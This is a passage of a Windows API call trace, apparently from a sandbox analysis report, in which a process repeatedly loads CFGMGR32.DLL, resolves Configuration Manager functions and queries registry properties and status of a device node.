(hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.605] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0228.605] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.607] malloc (_Size=0x48) returned 0x196ef0fbd60 [0228.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x691c8b2b, dwHighDateTime=0x1d9eb0c)) [0228.608] SetEvent (hEvent=0x248) returned 1 [0228.611] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.611] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.615] malloc (_Size=0x18) returned 0x196ef0d1960 [0228.615] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.615] malloc (_Size=0x48) returned 0x196ef0fbc20 [0228.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x691ef347, dwHighDateTime=0x1d9eb0c)) [0228.616] SetEvent (hEvent=0x248) returned 1 [0228.664] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.664] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.667] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0228.667] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.667] malloc (_Size=0x48) returned 0x196ef0fbc20 [0228.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x692613d2, dwHighDateTime=0x1d9eb0c)) [0228.668] SetEvent (hEvent=0x248) returned 1 [0228.671] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.671] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.675] malloc (_Size=0x18) returned 0x196ef0d2080 [0228.675] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.675] malloc (_Size=0x48) returned 0x196ef0fbef0 [0228.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69287785, dwHighDateTime=0x1d9eb0c)) [0228.675] SetEvent (hEvent=0x248) returned 1 [0228.681] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.681] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.684] malloc (_Size=0x18) returned 0x196ef0d2000 [0228.685] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.687] malloc (_Size=0x48) returned 0x196ef0fb220 [0228.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69287785, dwHighDateTime=0x1d9eb0c)) [0228.687] SetEvent (hEvent=0x248) returned 1 [0228.691] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.691] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.694] malloc (_Size=0x18) returned 0x196ef0d1c20 [0228.694] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x8, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0228.694] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0228.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x692ad7c2, dwHighDateTime=0x1d9eb0c)) [0228.694] SetEvent (hEvent=0x248) returned 1 [0228.699] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.699] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.702] malloc (_Size=0x18) returned 0x196ef0d1de0 [0228.703] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x8, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0228.703] malloc (_Size=0x48) returned 0x196ef0fbae0 [0228.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x692d3bf7, dwHighDateTime=0x1d9eb0c)) [0228.703] SetEvent (hEvent=0x248) returned 1 [0228.771] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.771] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.774] malloc (_Size=0x18) returned 0x196ef0d2040 [0228.774] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.774] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0228.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6936c447, dwHighDateTime=0x1d9eb0c)) [0228.775] SetEvent (hEvent=0x248) returned 1 [0228.780] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.780] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.783] GetProcAddress (hModule=0x7ffa786c0000, 